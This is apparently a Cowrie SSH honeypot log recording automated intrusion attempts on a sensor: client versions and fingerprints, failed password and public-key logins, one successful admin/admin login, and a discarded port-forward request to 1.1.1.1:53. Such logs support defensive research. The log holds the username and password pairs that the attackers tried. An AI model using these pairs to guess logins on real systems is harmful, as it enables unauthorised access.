{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:16:10.166442Z","src_ip":"103.118.29.129","session":"8982e91d2635","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jflhi5za","password":"drHsosw0iIPRMnLcZUwC","message":"login attempt [jflhi5za/drHsosw0iIPRMnLcZUwC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:16:11.146293Z","src_ip":"103.118.29.129","session":"8982e91d2635","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:16:12.388102Z","src_ip":"103.118.29.129","session":"8982e91d2635","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.48.205.231","src_port":34230,"dst_ip":"10.17.0.5","dst_port":22,"session":"168d0c3b4969","protocol":"ssh","message":"New connection: 69.48.205.231:34230 (10.17.0.5:22) [session: 168d0c3b4969]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:16:36.171331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:16:36.179748Z","src_ip":"69.48.205.231","session":"168d0c3b4969","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:16:36.230550Z","src_ip":"69.48.205.231","session":"168d0c3b4969","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:16:36.464756Z","src_ip":"69.48.205.231","session":"168d0c3b4969","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:16:37.518275Z","src_ip":"69.48.205.231","session":"168d0c3b4969","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":44722,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d3e5f632f7f","protocol":"ssh","message":"New connection: 43.242.203.160:44722 (159.203.135.109:22) [session: 7d3e5f632f7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:16:43.667246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:16:43.713955Z","src_ip":"43.242.203.160","session":"7d3e5f632f7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:16:43.970785Z","src_ip":"43.242.203.160","session":"7d3e5f632f7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"radu","message":"login attempt [root/radu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:16:45.142214Z","src_ip":"43.242.203.160","session":"7d3e5f632f7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":38042,"dst_ip":"10.17.0.5","dst_port":22,"session":"689e674d714d","protocol":"ssh","message":"New connection: 87.251.64.176:38042 (10.17.0.5:22) [session: 689e674d714d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:16:46.180709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:16:46.185217Z","src_ip":"87.251.64.176","session":"689e674d714d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:16:46.284639Z","src_ip":"87.251.64.176","session":"689e674d714d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:16:46.416472Z","src_ip":"43.242.203.160","session":"7d3e5f632f7f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:16:46.573187Z","src_ip":"87.251.64.176","session":"689e674d714d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:16:46.671879Z","session":"689e674d714d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:16:46.770327Z","src_ip":"87.251.64.176","session":"689e674d714d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:16:46.869417Z","src_ip":"87.251.64.176","session":"689e674d714d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":54034,"dst_ip":"10.17.0.5","dst_port":22,"session":"7532a6679f73","protocol":"ssh","message":"New connection: 45.137.172.116:54034 (10.17.0.5:22) [session: 7532a6679f73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:08.338200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:08.342952Z","src_ip":"45.137.172.116","session":"7532a6679f73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:08.439774Z","src_ip":"45.137.172.116","session":"7532a6679f73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"25802580","message":"login attempt [ubuntu/25802580] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:08.857624Z","src_ip":"45.137.172.116","session":"7532a6679f73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:09.957521Z","src_ip":"45.137.172.116","session":"7532a6679f73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.127.62.250","src_port":42764,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c2e6330fb28","protocol":"ssh","message":"New connection: 199.127.62.250:42764 (10.17.0.5:22) [session: 1c2e6330fb28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:12.454754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:12.459323Z","src_ip":"199.127.62.250","session":"1c2e6330fb28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:12.499859Z","src_ip":"199.127.62.250","session":"1c2e6330fb28","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ca:87:c6:a2:a4:65:47:b2:51:2e:c4:f5:ca:c4:d6:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDK0xE0sVRBHo7iSVDSfYpkXl3lrNKD6MbNotG9rd6StnZTzHGAnN5bfZ6tnCLGe6sOTmktVBt32rPpZREQt79WuilRqZFXw+wVvZfivmJHXxJqtJIgHOK+CBoEfdOpvQlXetQUzcT6cVxl8PcG5jqHymS8tZheKLxUhfiLIOulioeex8Krc8pdkwHIlKoz7wzIUcmZw4Qmyb0v/q16WcxYy/ql/n4hISLIJLZsiFD6+CJw6QD7i2CyDpPkU/8U7N4q+uFCAnQBc1CCbl3gInIpJtsiCrR+9JNUDGtoStYNYjecyX0gAbdgo32htlWSmDO2QxsVoNi6vG3NfIiKhdkn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ca:87:c6:a2:a4:65:47:b2:51:2e:c4:f5:ca:c4:d6:59","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:12.676735Z","src_ip":"199.127.62.250","session":"1c2e6330fb28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ca:87:c6:a2:a4:65:47:b2:51:2e:c4:f5:ca:c4:d6:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDK0xE0sVRBHo7iSVDSfYpkXl3lrNKD6MbNotG9rd6StnZTzHGAnN5bfZ6tnCLGe6sOTmktVBt32rPpZREQt79WuilRqZFXw+wVvZfivmJHXxJqtJIgHOK+CBoEfdOpvQlXetQUzcT6cVxl8PcG5jqHymS8tZheKLxUhfiLIOulioeex8Krc8pdkwHIlKoz7wzIUcmZw4Qmyb0v/q16WcxYy/ql/n4hISLIJLZsiFD6+CJw6QD7i2CyDpPkU/8U7N4q+uFCAnQBc1CCbl3gInIpJtsiCrR+9JNUDGtoStYNYjecyX0gAbdgo32htlWSmDO2QxsVoNi6vG3NfIiKhdkn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:12.680724Z","src_ip":"199.127.62.250","session":"1c2e6330fb28","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3d:ee:dd:7f:6d:04:c8:62:ff:b7:f0:bb:94:b9:eb:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA18Mn+Q/KP5klCbrpyoO5VFw5ytCc9jh1bmpbEDYChNTbyKO7PkkwomnLy5sQXIdg0guJmuHjDAx0QECEc2EHAAvYYDmVDbzyFGBnW7h3U6RiZyLGxQfGt9Ppq186KbbheYKEuxl0cyQNkCCxY14sIClgDnjE9bviqY4DgqUFs0xrB/D1Z0hTdIX8mRH5Z3CAJla7fyvkstV8Q/RCuP5uqqxNBim2NANQNBti5Jj0FQygClHGAqfamcZVtPgTCdjGQfPmqPqE0C5X/u5msY5gpsm3rJMAYsD0ack6hvPq8tIVsZbp5GMUJ0W7qaqdHrIlWA29gTWbki9V9G70eM/D/w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3d:ee:dd:7f:6d:04:c8:62:ff:b7:f0:bb:94:b9:eb:84","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:12.721991Z","src_ip":"199.127.62.250","session":"1c2e6330fb28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3d:ee:dd:7f:6d:04:c8:62:ff:b7:f0:bb:94:b9:eb:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA18Mn+Q/KP5klCbrpyoO5VFw5ytCc9jh1bmpbEDYChNTbyKO7PkkwomnLy5sQXIdg0guJmuHjDAx0QECEc2EHAAvYYDmVDbzyFGBnW7h3U6RiZyLGxQfGt9Ppq186KbbheYKEuxl0cyQNkCCxY14sIClgDnjE9bviqY4DgqUFs0xrB/D1Z0hTdIX8mRH5Z3CAJla7fyvkstV8Q/RCuP5uqqxNBim2NANQNBti5Jj0FQygClHGAqfamcZVtPgTCdjGQfPmqPqE0C5X/u5msY5gpsm3rJMAYsD0ack6hvPq8tIVsZbp5GMUJ0W7qaqdHrIlWA29gTWbki9V9G70eM/D/w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:12.725551Z","src_ip":"199.127.62.250","session":"1c2e6330fb28","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:c2:48:c7:e2:6b:c8:76:6f:e3:f8:0e:62:2f:60:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCd44hR8UBrTFlfKpUAUlpnHinGkUTAUBvGAG7b38GXDcaSqJusZ1Hgg+sXqm8ZJUpg5lCC10v6+hF7u7b56iONcTDN0TfOhkE7dPst6J5rXozKq++ixnLhfJ7qYl/D6mXpUtwUNGmTaWCAHTW307MJxP0YZh1h2ebDAmtK2uNJK3nVPzCznDqFX2h80/k2U09updAOxHCGbQXJgWLfQfV1Wi4c5nePL0A2ztJNnKz6CDACt0o9G0vzJkWXy4UC4Qz7H96justTMphfJQBEjBfeZjrD58gqvCvI8QiqRXD5itldQf3J35D6PJZyLJu9iERmZSI72vfk2DkocIYutVFf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:c2:48:c7:e2:6b:c8:76:6f:e3:f8:0e:62:2f:60:09","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:12.768172Z","src_ip":"199.127.62.250","session":"1c2e6330fb28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:c2:48:c7:e2:6b:c8:76:6f:e3:f8:0e:62:2f:60:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCd44hR8UBrTFlfKpUAUlpnHinGkUTAUBvGAG7b38GXDcaSqJusZ1Hgg+sXqm8ZJUpg5lCC10v6+hF7u7b56iONcTDN0TfOhkE7dPst6J5rXozKq++ixnLhfJ7qYl/D6mXpUtwUNGmTaWCAHTW307MJxP0YZh1h2ebDAmtK2uNJK3nVPzCznDqFX2h80/k2U09updAOxHCGbQXJgWLfQfV1Wi4c5nePL0A2ztJNnKz6CDACt0o9G0vzJkWXy4UC4Qz7H96justTMphfJQBEjBfeZjrD58gqvCvI8QiqRXD5itldQf3J35D6PJZyLJu9iERmZSI72vfk2DkocIYutVFf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:12.772187Z","src_ip":"199.127.62.250","session":"1c2e6330fb28","protocol":"ssh"}
